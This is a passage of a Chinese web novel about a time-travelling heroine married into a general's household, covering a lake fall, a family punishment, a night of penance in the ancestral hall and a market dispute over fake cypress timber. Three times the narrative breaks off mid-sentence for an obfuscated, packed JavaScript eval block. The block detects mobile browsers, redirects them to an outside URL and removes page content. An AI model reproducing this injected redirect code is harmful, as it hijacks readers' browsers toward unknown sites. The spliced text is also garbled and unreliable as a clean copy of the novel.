拉住她腰带的力道猝不及防地松懈,毫无准备的叶星澜由于惯性腰身不住向后倒,举起的两只手臂摇转得像大风车,慌乱间又抓住了穆岚风的衣裙。 视线很快就被青翠的树叶和蔚蓝的天空占据。 落水! 除了捉奸,下毒,落水也是古人聚会常发生的抓马剧情。 可叶星澜已经来不及拍脑门大骂了。 7. 落水 两位妙龄少女彻底掉入湖中,来不及屏息,湖水直灌进鼻腔喉咙。 好在叶星澜学过游泳,很快就把四肢调整过来。 而旁边不住扑腾的女孩一会儿潜在水中里吐泡泡,一会儿浮在水面尖叫大喊:“......唔咕噜咕噜......哇......来人......救命——”在岸上还气势凌人,现在成了落水凤凰。 同样半截腰身淹没在水里的叶星澜忍不住开口:“这里又不是长江黄河,你走两步就能上去。” 完全沉浸在自己幻想的危险处境,穆岚风根本没听她说,一个劲儿地吐泡泡和求救。 看穆岚风丧失理智的样子,叶星澜本想过去帮她。不远处一名丫鬟打扮的女孩丢下托盘,也开始尖叫:“来人啊!穆家二小姐落水了!快来人救命!” 丫鬟的叫声刚结束,只见穆随火急火燎地从远处飞奔而来,他想都没想就一头扎进湖里。高高溅起的水花打在叶星澜的脸上,生疼。 她知道穆随会去救穆岚风,便懒得再忙活。 岸上围观的人越来越多,其中不乏叶星澜心心念念的崔家小姐,可这崔家小姐在岸的另一边。 叶星澜往湖中两兄妹的反方向游,眼看离岸边越来越近了,左脚突然怎么都动不了,心想大概是被水藻或者其他植物缠住。 她深吸一口气,闷头沉到湖底去解缠住她脚踝的水藻,只是水藻湿滑粘腻,稍一用力便溜走,只有耐住性子一点点扯断。 通水性的穆随费力把反抗挣扎的人拉回岸边,湖面渐渐归于平静,他正要大松一口气时,突然听见旁边人问:“将军为何不救少夫人?” 明明丫鬟只喊着“穆家二小姐”,他紧蹙眉心扫了眼开口说话的人,并未找到一丝玩笑或欺骗的意思,扭头又扎进了湖里。 终于扯断水藻的叶星澜飞速抬头浮出水面,没一会儿就踉踉跄跄地上了岸。 被水浸湿的衣裙鞋袜实在太沉重,加上这没锻炼过的身子骨太脆弱,她才走两步就“扑通”一声跪了下去。 好巧不巧,膝盖跪下的位置刚好有一块凸出的石子。尖利的锋面直直穿透衣料,扎进皮肤里。她最怕痛。弓起腰背缩成一团,在泥巴地里一边沽涌,一边呻吟。 屋漏偏逢连夜雨,厄运专挑老实人! 叶星澜很努力地想要站起来,奈何石块尖角扎得太深,她每伸一下膝盖,眼泪不受控制地直流。 而穆随沉在湖底游了半圈都没看见人影,头探出湖面准备拿刚才胡乱说话的人问罪时,只见小妹手指着隔岸,嘴唇哆嗦不停:“哥哥......晏微,她好像流血了。” 新进府的少夫人虽然平日里行事乖张,又胆大妄为,但终究和小妹一样,正是需要庇护的年纪。 她跪倒在肮脏的泥巴地里,背影单薄,腰身以下的衣裙皆被染成淡淡的血色,挣扎着想要站起的双腿比枯败的柳叶更羸弱。 而这偌大的京城,竟无一人上前帮她。 穆随走到哭得梨花带雨,脸蛋通红的少女身边,冷眼扫过岸边正在看笑话的面孔。 他屈膝蹲下,掌心刚贴上她的后背,心中的怜惜却被一语击溃。 “换个人来抱吧,你身上好臭。呕~”叶星澜腾出一只手捏着鼻子,丝毫不羞愧自己身上同样散发出又酸又臭的气味。 可穆随的脸色比臭水沟味还要黑臭,但叶星澜没在意,就像穆随也没在意她的话。 他径直将人打横抱起,走出泥巴地回到岸边,又从人群中走向马车。 叶星澜从穆随的臂弯里探出脑袋,看见崔家小家用帕子掩住鼻,在与穆随擦肩而过时,连连后退。 果然,人只要臭了,就算是镇北大将军——穆随。俊朗无比的脸庞,赫赫有名的功名,也丝毫派不上用场。 这下好了,计划泡臭水沟了。 眼睛一闭,叶星澜干脆倒在马车里睡起觉来。 马车上虽然睡得时间不长,但经过休息的身子稍微有了些力气,阿宁将帘子拉开,叶星澜一边喘着气,一边颤颤巍巍地走下马车。 进到将军府内宅更是什么也不管不顾了,她边走边脱,嘴里也没停:“爹的!要是知道今天会落水,我死都不去!还有那个湖,我都不想说,表面看着风平浪静,挺有雅致的。但是那水里,臭的让人想死。我居然还喝了几口,哦呕——” 阿宁则跟在她身后捏着鼻子,边捡起满地飘荡的脏衣服。 门窗紧闭,叶星澜忙不迭用水呜啦呜啦地漱口,再拖着疲惫不堪的身体让阿宁一瓢一瓢冲个干净。 直到从到顶流向脚趾的水流慢慢变得清澈,叶星澜才心满意足地坐在木桶里,享受这比金银珠宝还珍贵,比清晨雨露还清新,玫瑰花瓣的泡澡水。 泡到最后,身体变得暖洋洋,膝盖处好像都没那么痛了,只是小腹还一阵阵地痛。 想起自己现在这副身子正是青春期,叶星澜“腾”地一下从木桶中站起,忙唤人:“阿宁,出事了,阿宁!” 守在门口的少女一脸惊觉推开门,见叶星澜把自己胡乱穿着衣服,费尽心思地将自己五花大绑,不禁笑出声。 叶星澜捂着肚子,两条腿忸怩起来,“你来月经的时候都用什么垫裤子?” “月经?”阿宁重复一遍,仍是半只半解,“你说的应该是月事。你等等,我这就取来。” 叶星澜揉捏着阿宁找来的“卫生巾”,小声嘀咕:“就几块棉布,怎么兜得住。” 原以为穿越过来最大的问题是怎么融入生活,然事实上,最大的问题是要如何生存。 没办法,叶星澜只能硬着头皮把棉布放好,心里却记挂着要如何改善,毕竟这样血水淋漓的日子才是日常。 忙活了一整天,先前在聚会上吃的那点零嘴早就消耗掉,此时肚子空空如也,叶星澜又如饿狼一般捂着肚子冲进自己的小厨房里。 阿宁来不及端碗递筷,叶星澜直接上手了。 “慢点吃,还有很多呢。” 阿宁也跟着在外面跑了一天,回来还要忙前忙后,叶星澜不由分说地将人按在椅子上,手里的鸡腿强塞给阿宁,“你也吃。” 换了干净的衣服又填饱肚子,叶星澜在心里宣布今天的闹剧终于结束。刚走出小厨房,迎面就对上穆岚风那对充满愤慨的眼睛。 命运弄人,好心情只维持了几秒。 主人还没问来意,穆岚风抢先一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16423302|184822||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 步嚷道:“你可知今日你落水,惹得哥哥落人口舌,他们说哥哥冷酷无情、德行有亏——” “等等。”叶星澜抬手,掌心朝向面前的少女,更加大声地纠正道:“他被人议论和我落水有什么关系!而且,明明是你把我从桥上推下去的。” “如果不是你先动了不改动的心思,我怎么会同你在桥上拉扯。难道我愿意惹人笑话,现在满城都在议论哥哥待你刻薄无情。” 这什么狗屁逻辑关系!叶星澜恨不得上去再推她一把。以其人之道,还治其人之身。 奈何这里是将军府,她先动手的话肯定要闹到祖母面前去,说不定最后又要被罚去跪祠堂。 她只能暂时忍气吞声,咬牙切齿道:“我都和你说了一百遍,我根本没见过许公子,对他没有半毛钱想法。” “真的?” “爱信不信。”叶星澜用力翻了个白眼,带着阿宁大步掠过她身边。 可她才没走几步,又被一尊不请自来的战神挡住。 肚子还在隐隐作痛,叶星澜只想回到温暖的被窝。她实在做不到好言相对,便抬脚往旁边挪,专揭人糗事,说:“你能不能洗干净再来。” 果然穆随被她说得脸色一沉,腮帮子紧一秒又松一秒:“祖母唤我们去前厅。” 又是祖母!又是前厅! 这两个词只要同时出现,准没好事发生。偏偏祖母还是将军府集年龄、威望和话语权的第一人,反抗是没用的。 可大丈夫能屈能伸,叶星澜抿住唇叹气,嗫喏道:“我来月事了,能不能不去?” 没有从穆随嘴里听到想要的答案,意料之中。可令她没想到的是,穆随看向她的目光里竟然闪动着怜爱,郁沉的表情也随之动容。 穆随解开身上披风的绳结,大度地将披风笼住她的肩背,还贴心地绑了一个不怎么样的蝴蝶结。 这是替祖母打巴掌前先给个甜枣? 叶星澜一时想不通,但头顶传来的声音一贯冰冷,“走吧,别让祖母等久了。” 她心中小小的希望无声破灭。 和兄妹二人一同跪在前厅,难得今天没有一大家子人旁观。唯有祖母和老嬷嬷以严厉的目光审视着三人,叶星澜暗叹不妙,看这架势,恐怕又要请什么家法了。 “穆随新妇,你可知错?” 祖母盯着叶星澜,叶星澜倔强地扬起下巴,“请祖母明示。” “今日你和岚风在游园宴上拉拉扯扯,还落得双双落水的下场,丝毫没有名门闺秀的度量和风范。如果不是穆随将你们二人救起,你可想过后果如何?你又要如何承担?” 不分青红皂白的训斥,让叶星澜气恼又无语,大声说:“祖母可知我为何与她在桥上拉扯,又如何断定是我将她推下水的?况且,穆大将军只救了他的妹妹,我完全是靠自己游上岸的。” “你竟敢顶嘴。”嬷嬷手指着她,替祖母气道。 姓穆的一家子联起手来欺负一个弱女子。 起伏不定的胸口里正烧着一团火,叶星澜本来跪着的膝盖“蹭”的一下站直,说:“人不是我推下水的,我不知道自己做错了什么,如果祖母今日要为此事罚我,我不认!” 8. 家法 叶星澜字字铿锵,穆随也被她突如其来的举动震住。 穆岚风更是吓得头埋得更低了,眼角余光也不住瞟向面色略微苍白,对祖母的严厉毫无畏惧的女孩身上。 无人再敢说话,厅内一片沉静。 良久,主位上的祖母开口说:“如你所说,是岚风将你推入水的?”嗓音迟缓,却透着令人难以忽视的威厉之色。 “是也不是。”叶星澜没撒谎,也没隐瞒,“她疑心我对许家公子有意,不论我如何否认,她都执意拦我去路。若非如此,我不会同她在桥上拉扯,更不会失足跌入湖中。” 话落,老人苍老而锐利的目光直扫向勾腰低下巴,不敢辩解的女孩,“岚风,长嫂此言当真?” 没了白日在圆亭里的半点威风得意,被点到名的慕岚风怯怯抬头,眨眼道:“祖母,我并非有意推她下水。是她先有违游园宴的礼仪,非要坐在许公子身边,对其他家公子小姐的议论充耳不闻。我一时心急才会与她在桥上理论,我、我只不过想让她知道将军府风范。” 这慕岚风虽然“疯”,可出身将军府的人哪有蠢笨呆傻的,眼下三两句就把祸端全都推在叶星澜身上。 叶星澜气不打一处来,刚要找穆岚风好好掰扯一番,衣袖却被始终一声不吭的穆随扯住,他微微摇头。 祖母手握的拐杖突然砸向地面,伴随着一声呵斥:“大胆!” 叶星澜怔在原地,只见祖母的瞳孔里似乎也烧起小火苗,只不过这次火烧的对象不是她。 祖母说:“晏微既将军府八抬大轿迎娶之人,同穆随成婚近三月,为何老身从未听你称晏微为长嫂。直呼姓名,目无尊长。你从小熟读穆家家规,戒尺杖击手心十下,可有疑?” 穆岚风也没料到祖母首先会责罚于她,求助的目光投向旁边的兄长。 穆随纹丝不动的五官终于有了点变化,交叠的手指与下巴平齐,嗓音沉稳:“岚风直呼长嫂名讳是孙儿有意之为。晏微在京城并无熟人好友,我日夜忙于公事,无暇顾及陪伴,她心中有难事也无人可讲。岚风心热大方,与晏微年纪相仿,直呼名讳倒能拉近距离,二人感情兴许更好。” 拉近什么距离? 身体与身体的摩擦碰撞距离。 除此之外,叶星澜想不到其他。 而且到底谁说的男人心眼子少,难道孙子兵法是女人写的?还有,这将军府果真各个如熟读兵法的豺狼虎豹,否则怎么各个都会转移事故责任方。 “今日落水一事是孙儿作为夫君和兄长管教无方,害得晏微同岚风发生口角争执才会有落水之事发生。祖母要罚,孙儿一人受罚即可。”穆随身为三人中年纪最大的,虽然不辨是非,但好歹有担当。 有穆随当这个出头鸟自愿背锅,叶星澜紧绷的肩线刚松弛下来,就听见祖母下令道:“你既未能做到维护发妻,又未尽到管教岚风的兄长之责,今日一事让人看见笑话,本就应受到责罚。她们二人同样逃不过家规处置。” 嬷嬷当即便会意,“请戒尺。”扯着嗓子把庭外的仆从喊来。 祖母道:“穆氏家规有言凡违家规者,无论尊卑,一律严惩。晏微言行有失,岚风目无尊长,各击手心十下。穆随,百下。你们三人受罚后,同在祠堂反省思过一夜。” 有福没有同享过,有难凭什么就要同当。叶星澜紧紧握住自己的两只手心。 祖母严厉的目光落在满脸不服的叶星澜脸上。 “你是觉得老身错怪你了?你今日在游园宴上,与自家人争夺座椅,毫无谦逊之姿,言行鲁莽,不顾将军府名声,惹来‘红杏出墙’嫌疑,现在满京城都在议论你们夫妻二人感情不合,难道不该罚?” 无法以一人之力改变这个世界的规则,那么就要遵守。叶星澜无力地垂下眼。 幸好并不是只有她一人受罚,另外两个姓穆的也没逃过。 叶星澜依旧没有跪下膝盖,直挺挺站着等待被打手心。 眼看仆从拿着戒尺走进厅内,穆随忽然起身,向前半步挡在叶星澜身前:“丞相曾写信于孙儿,晏微自小体弱多病,今日落水,身体更加不适,祖母仁心宽厚,可否减轻她的责罚。” 没想到穆随会帮自己求情,叶星澜看着身前高大的背影,心生疑惑,仍暗暗庆幸自己逃过皮肉之苦。 祖母静静地望着穆随,半晌后才道:“那你替她受罚。”祖母手心一抬,嬷嬷便凑上前,扶住祖母的胳膊,祖母起身边道:“杖击可替,思过不可免。” 总归是不用挨打,祖母走后,叶星澜终于松了口气。 可要挨十下的穆岚风就笑不出来了,伸长脖子,又气又狠地盯住她:“要不是这次哥哥护着你,你才没这么好运。” 如果不是这里的世道就是如此,叶星澜才不忍脾气,她呲牙咧嘴地从人做了个鬼脸。 也不知道手握一指长的戒尺的嬷嬷到底用了多大劲儿,“噼啪噼啪”砸在手心的声音听起来就疼。穆岚风在挨打到第五下的时候就开始小声吸鼻子。 虽然叶星澜觉得自己没错,但如祖母所说,她今日所为确有失名门闺秀之姿。不但让人笑将军夫人斤斤计较,更笑晏使君千金粗鄙蛮横。 光是十下听着都疼,更别说穆随要挨一百一十下。尽管他皮糙肉厚,但挨这么多下也有她的原因。叶星澜又心软了,扭头把阿宁叫来身边,凑近耳朵小声嘱咐了两句,阿宁便跑开。 穆岚风收回通红的手心,转头见叶星澜没走,冷声讥讽道:“假惺惺。” 穆随大声道:“岚风,你还要无礼,是不是要请军法你才能长记性!” 这一嗓子把叶星澜都吓了一跳。都要挨打了还有心思管教人,看来这兄长确实有点担当。 慕岚风咬着唇不敢说话,嬷嬷缓步到穆随身前,低声道:“将军,老奴得罪了。” “嬷嬷不过是听命办事,何谈得罪。” 他摊开的左手掌心正被戒尺用力击打着,一直到戒尺第二十次落下,皮肤才隐约泛起红晕。 知道有人委屈,叶星澜便把气话当作左耳朵进右耳朵出。 等阿拿着前段时间穆随送的小药罐回来,叶星澜大步走向慕岚风,大力抓住通红的手心,不论慕岚风如何挣扎,她都不松手,一股脑将白色粉末倒在慕岚风的手心,先发制人道:“既然你觉得我惺惺作态,那我便一做到底。今日落水惹人议论之事你我都有责任。” 白色的粉末落下,均匀散布在皮肤上,想来也是疼痛感减半,否则穆岚风怎么会突然停下挣扎,任由叶星澜为自己涂抹药膏。 只是犟脾气没改半分,穆岚风别开视线,生怕被穆随听见,噘着嘴小声道:“你别以为给我擦药我就不会和你计较。我今天掉进湖里,狼狈至极,那些小姐公子都取笑我......” 叶星澜松开人的手,懒得再搭话,省得她顺杆往上爬,到头来又都是自己一个人的错。 “噼啪噼啪”的声音在耳边循环,落在穆随的手心,可他连眉头都没皱一下。 厅堂大门敞开着,穿堂而过的风吹起穆随脑后的墨发,隐约间,叶星澜似乎瞧见这万千长发中有几丝银线飘扬。 叶星澜吸了吸鼻子,拢紧脖间披风的结扣,将寒风尽数挡在身后,小腹的阵痛感也慢慢减弱。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16423303|184822||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 风停下,嬷嬷握着的戒尺也停在空中。 嬷嬷后退着步伐离开,叶星澜抢在穆随放下手之前走到他面前,把剩下的半罐子药尽数倒在他的掌心。 她的指腹无意摩挲着穆随绯红一片的掌心,待药粉抹匀后,她对默不作声的穆随说:“你替我挨打,我帮你你擦药,两清了。” 叶星澜正准备同大家一起移步祠堂,穆随突然站在原地,似是难以启齿的样子:“你们先去祠堂,我稍后就来。” 以为他是挨了痛想逃避,叶星澜忙追问:“你要去干什么?” 空气沉了半晌,穆随道:“忽然想起还有一件公务尚未处理,处理好我定去祠堂思过。” 挨完打之后要处理工作,工作完得老老实实回家跪祠堂。也不知道祖母是如何在穆家掌握这么大的话语权,就连镇北大将军都言听计从。 叶星澜不知内情,定定地望着穆随说:“你要是敢不来,我就让祖母找人去寻你。” 没等人答应,她便迈着步子离开。 祠堂内除了火烛在烧得热烈,一切都是那么的寂静。 慕岚风应是第一次被罚跪祠堂,起初还老老实实地跪在蒲团之上,可时间一长,也受不住地开始坐在合并的脚踝上。 折腾了一天,又是生理期,好不容易安静下来,叶星澜的眼皮很快就打起架来。 她伸长两条本来盘起的腿,大大咧咧地把蒲团往前一推,又开始把蒲团当枕头,把披风当床,睡了起来。 刚开始穆岚风对她的行为嗤之以鼻,说她在祖宗面前无礼逾矩,说明天一早就要去祖母跟前告状。 叶星澜也丝毫不怕,双手环在胸前,嘟囔道:“你是小学生么,就会告状。跪一晚上明天站都站不起来,反正祖母又没让人看守。” 似乎是被说动,但不像叶星澜这么放肆,穆岚风挺直的脊背一下就弯了下来,弯成虾米状,额头直直抵着蒲团也打起了瞌睡。 在两人都昏昏欲睡时,叶星澜忽然听见一阵咕噜声和细微的摩擦声,接着是穆岚风紧张兮兮的声音:“你有没有听见什么声音?” 叶星澜不是第一次在祠堂过夜,那令人害怕的声音她一听就知道,不过是风吹动祠堂门上白联发出的。 “听见了。” “你说,会不会是鬼啊?” 青砖垒起高墙,红木桌上摆着许多牌位,一阵风吹过,险些将烛光全都吹灭,视线昏暗之时,叶星澜的手掌忽然地被什么温暖的东西包裹住。 将军府的大小姐虽然骄纵跋扈,可提及神鬼,也心生畏惧。叶星澜坏心思道:“嗯,有鬼。” 握着她手背的力道蓦地收紧,叶星澜觉得痛,才改口说:“快松手,我说的是这里有你这个饿鬼。” 穆岚风虽面露凶狠,但还是不肯松手。一手抓着叶星澜的衣袖,一手将蒲团拉到叶星澜身边,势必要同叶星澜挨在一起。 困意正盛,叶星澜也懒得动弹,随便她怎么折腾。 过了许久,祠堂外果真响起有力的脚步声,穆岚风再一次握紧熟睡之人的手,两只眼睛死死盯着门口。 直到看清来人是穆随,不仅换了身暗蓝长袍,手里还提着一个食盒。穆岚风才真正松开手,喊道:“哥哥。” 穆随先是皱眉看了躺在地上纹丝不动的人一眼,接着走近把食盒放下:“先吃点东西吧。” 听见有吃的,穆岚风立刻面露笑意,打开食盒发现除了饭菜,还有一碗汤水,便问:“这是什么好喝的?” 穆随见小妹端起碗就要喝,忙蹲下身从她手里拿过碗:“这五红汤不是给你喝的。” 9. 同罚 穆岚风瞥了眼仰躺在地上,阖着眼的人,没好气地怒嘴道:“我怎么喝不得?难道是给她准备的?” 按照将军平日里惜字如金,雷厉风行的作风,穆岚风猜他就算有心,也顶多回一个“嗯”或者一个眼神。 可穆随双手捧着碗,生怕洒了漏了似的放回食盒最底层,盖子盖好,小声道:“她今日落水又逢月事,自然身子不适。她既已为你嫂嫂,你理应多关照。” 听哥哥这会儿还帮睡得雷打不动,毫无形象可言的人说话,穆岚风心里更委屈了,手捏着玫瑰乳酥糕,撇嘴道:“凭什么要我关照她,明明她让着我才对。” “你们二人处处计较刁难,关系不和,只会让外人看穆家笑话。今日宴会尚且我在场,你们二人侥幸身体无恙。倘若我不在......” 穆随短叹口气,重新道:“军中事务繁多,我疏于对你的教导已被祖母责罚。你既已长大成人,许多道理不必我多费口舌。许家公子虽与你订婚,但我看他对这桩婚事却未有你一半上心。” 最后一句话虽不好听,但是事实。 武官巨擘的妹妹偏偏看上吏部尚书庶子,许修远。 一次乞巧节,穆岚风偶遇许修远,对其一见倾心,当晚回家就对穆随旁敲侧击。 穆随疑心其中有诈,派人暗中调查许修远。调查许久都未发现异端,又架不住成天在身边穆岚风软磨硬泡,他才向皇上请旨。 但也正因为许修远为妾室所生,前有三个早已走上仕途的哥哥,自出生就不被看好,无法形成个人势力,皇帝才应允两家通婚。 可许修远对穆岚风从来都是普通公子小姐的态度,举手投足间满是客气。偏穆岚风说他温文儒雅,举止得体正合她意。 穆岚风讨厌连自家人都对她的婚事泼冷水,鼓着腮帮子把熟睡的人摇醒,试图转变穆随说教的对象。 叶星澜睡得正香,被人强行开机,脑子昏昏沉沉刚要发脾气,可看见面前精致小巧的糕点又熄灭了不少火气。 她撑着手肘从地上坐起,抢在最后一块糕点被穆岚风吃掉前伸手拿住,又一次先发制人道:“吃独食,可耻。” 穆岚风光瞪着她,不说话,叶星澜以为她是服理认输,把整块糕点也送进嘴里。 嚼到一半才发现“疯木兰”并非认输,只是这点心徒有其表,又甜又噎,嚼碎的糕点糊住喉咙,根本说不了话。 叶星澜五官都用力起来,忽然手边多了一只碗,扣住碗沿的手指修长而有力。 来不及多想,她接过碗,咕噜咕噜几口就下肚,剩了半碗又递给同样缄口不语的穆岚风。 喉管变得通畅清爽,叶星澜斜眼一看才发现给自己端水的人是穆随。穆随换了身衣服,双膝跪在蒲团之上,两掌贴着大腿。 她用手背擦了下嘴角,“谢谢啊。” 穆随没回应,一尊佛似的,目光幽幽望向牌位。 穆岚风倒意外叶星澜会分享食物,放下空碗的时候道:“一码归一码,别以为给我一口水喝就代表我喜欢你。” 睡了一觉的叶星澜精神抖擞:“我发现你这人是真没礼貌。难道小时候你爹娘没教过你吗?还是说,你们将军府也请不起教养嬷嬷。” 她把与穆随初见的话还给穆岚风,穆岚风被她一说也开始火大,似是准备破口大骂,可穆随扭头一个眼神,穆岚风又如霜打的茄子似的蔫了。 “岚风六岁时边境暴乱,我送母亲在回京的路上遭匈奴埋伏,我一人难敌百人......”穆随的眼底隐约划过一丝寂寥悲怆之色,“我与父亲长年驻守边境,祖母又年迈,岚风只好交予叔母管教。叔母无子,对她多有溺爱。” 原来是从小就没有娘疼的孩子。叶星澜抿住嘴,对旁边跪在蒲团上捏着衣角,眼尾泛起红晕的女孩诚心道:“刚才的事我给你道歉,对不起啊。” 穆岚风将头埋得极低,抽泣道:“谁要你的道歉。” 叶星澜发现其实“疯木兰”本性并不坏,只是娇生惯养才会倨傲骄纵。不过也对,她又不是普通的王公贵族,威震四方的镇北大将军的妹妹,将军府年纪最小的孩子。换作是别人,兴许比她的脾气还差。 叶星澜盘腿坐在蒲团上,聊天似的轻松道:“我来了这么久,怎么没看见你爹,难道你爹一个人驻守边疆成全你回来成亲?” 穆岚风用力吸了下鼻子,接话:“父亲两年前战死......不然哥哥怎么会继承父亲的衣钵成为镇北大将军,蠢货。” 怎么问一个就死一个,叶星澜抬手打了下自己的嘴,完全没注意到穆随盯着自己的目光满是犹疑和警惕。 穆岚风仰头看着被烛光照亮,沉默的牌位,眼里闪着泪光:“爹娘,我好想你们。” 话落,叶星澜也撇下嘴角,嘟哝道:“我也好想我妈,我也好想回家......” 随着两人你一句我一句的自言自语,整个祠堂瞬间被呜呜咽咽的哭声填满。 而脊梁骨挺直的穆随一言不发,红色的烛光亦未能照进深不见底的眼眸。 叶星澜再睁开眼皮的时候,发现穆岚风也和自己一样把蒲团当作枕头,呼呼大睡。隐约听见门外传来脚步声,她大力把穆岚风从地上拽起,急切道:“有人来了。” 穆岚风也立刻调转膝盖,端正跪在蒲团之上,两只手整理着头发。 脚步声停在身后,叶星澜回头,果真和她猜想的一样,是祖母身边的嬷嬷,嬷嬷说:“老夫人已在膳堂等候大家用饭。” 罚了戒尺还罚了跪,现在又派人来请吃饭,看来穆家人惯用的手段是打个巴掌再给个枣。 实实在在跪了一晚的穆随起身时连腿都不打颤,点头对二人说:“别让祖母等。” 幸好这顿早餐没人再提昨日之事,大家都安静本分地进食。 等祖母放下筷子离席,穆随称自己有公务而离开,叶星澜见状赶忙起身奔向自己的院子。 阿宁追在她身后跑:“可有急事?” 叶星澜边跑边说:“一块棉布用了十几个小时,妇科病就是这么来的。阿宁,你赶紧再帮我拿一块新的。” 待重新换好棉布后,叶星澜觉得只用棉布不是个事,容易滋生细菌不说,也不吸收。 经期第二天,虽然在祠堂的硬地板上睡了一晚,但身体还算爽利,她上午补过一觉后,又带着三五人去逛街市。 阿宁说:“你要棉花吩咐一声便是,何必亲自出门。” 叶星澜摆摆手,“老待在家里闷得慌,出来呼吸呼吸新鲜空气。” 没电视没手机。阿宁又是个停不下来,眼里全是活的人。没人聊天说笑,待在将军府就像坐牢一样,叶星澜实在坐不住。 买了棉花,买话本,买首饰,买各种各样稀奇的玩意,反正晏微的爹娘备了许多真金白银给她用,叶星澜也不客气,替人结婚,可不能让这赔偿金落灰。 除了给自己置办东西,叶星澜还在布庄给同行的人都量身定做起衣服。尽管大家嘴上说受不起,可只要叶星澜扯着一块好布问他们喜欢不喜欢,大家又都忍不住点头。 一行人高高兴兴从布庄出来,没走几步就瞧见前面人群成堆,热闹极了。 以为是有什么街头杂耍,叶星澜拉着阿宁挤到人群前,发现不是杂耍,本来还有些失望,可转身时又听见争执不下的两位中年男人提到的正是她的爱好,眼睛一下就亮了起来。 “那根柱子两个月前才装好的,都没撑多少时日又塌了!是你说有任何问题都可以来寻你的,现在不认算怎么回事!”穿着还算得体的男人满脸愤怒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16423304|184822||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 另一位穿金戴银的男人手指木作店门口的牌子,目光满是鄙夷神色:“我可写得清清楚楚,凡购本店之物,一月内若有瑕疵,可来寻绎。逾此期,恕不料理。亏你还是个读书人。况且你都买两个多月了,我凭什么要为你换新的梁柱。” “我一年的银钱全用来买这根柏木,可这柏木不足三月就垮了。你这木作店净赚黑心钱!” “柏木再硬也不是金刚,前些日子风雨交加大家有目共睹,你家其他梁柱本就劣质,怎的屋檐垮了就赖在这根柏木上。” “就是我从你店里买的这根先裂开,我家檐顶才会跟着垮。” “你再敢无凭无据乱我店生意,信不信我找人将你打出去。” 男人和木作店的店主各执一词,叶星澜听得津津有味,直到男人将四分五裂的木头大力扔到木作店门前,叶星澜更来兴致了。 她不顾阿宁的劝阻,执意走到店门口,蹲在地上拿起木块,左闻右闻,终于在男人准备作罢时发现了异端。 她拿了一个椭圆木块起身,向店主发问:“为何你这柏木的木香味只外层有,内截面没闻不见半点?” 店主捻住下巴的胡须,目光躲闪道:“这碎木经雨水浸泡,没了香味实属正常。” 叶星澜看出店老板在说话,为了避免被人反将一军,她把其余的碎木发给众人,装作无知道:“可我怎么闻这碎柏木的横截面都是松脂味。” 店主一下就恼了,大声反问:“柏木怎么会有松脂味?” “柏木当然不会有松脂味。”叶星澜眉毛一挑,掂量着木块,缓缓道:“因为这是松木。” 店主的两只圆眼瞪得更圆了,上前搡了一把叶星澜,气道:“你休要在这里胡说八道!” 叶星澜脚步踉跄两步才站稳,阿宁跑到她身后,拉着她的手怯怯道:“诶呀,此事你可千万不能插手,咱们还是回府吧。” 叶星澜按住阿宁的手,一点也不畏惧,“怎么说这也是我的老本行,几根木头还是分得清清楚楚。” 叶星澜往前一步,更加大声道:“这就是松木。虽然白松木和柏木的纹理直且均匀,但白松的质地远不及柏木坚硬沉重。你用浅色的松木块黏合在一起,又在外层涂了和柏木最接近的香料,外人当然难区分。还有,若不是这柏木碎的也太规整,形状都大差不差。” 主张售后的男人见叶星澜说得头头是道,分外激动:“姑娘此言当真?” “我若有半句虚言,叫我天打雷劈,不得好死。” 话落,围观的百姓也纷纷附和,说这木头确实拿在手里过分轻,不似柏木结实。 “分明就是你为了赚钱,以次充好。”对自己很满意的叶星澜又补充一句,店主气得手指发抖,“你无凭无据,再要信口雌黄,信不信我找伙计将你们二人一起打出去。” 店主一声令下,便有两三人拿着锯子锄头从店内走出,将男人和叶星澜围住。 店里的伙计们个个都是凶神恶煞的肌肉男,叶星澜刚开始还心里犯怵,可想到自己并非无名无势,双手叉腰抬起下巴,大声道:“你有几个胆子敢对我动手。” “姑娘真是好大的口气——” 叶星澜不给人说完的机会,抢道:“我父亲乃当朝盐铁使。我今天要是掉了半根头发,我都让你屁滚尿流。” 人果然有了点权力就容易耀武扬威。叶星澜此时更加理解穆岚风了,甚至还有点穆岚风嚣张跋扈的姿态。 可店主明摆着不信,挺着肚子吹嘘道:“就算你搬出小小盐铁使,我今天定不会轻饶你,我背后之人可是——” “难道你背后之人比镇北大将军还要位高权重?” 身后响起一道和煦如春风般的声音,而店主立刻双膝跪地,面露惊诧。 10. 猜疑 “小小盐铁使?何时掌管朝廷钱财的晏大人被如此看轻,我看你才是好大的口气。倘若你知道她是穆府的少夫人,你可要向她磕头求饶?” 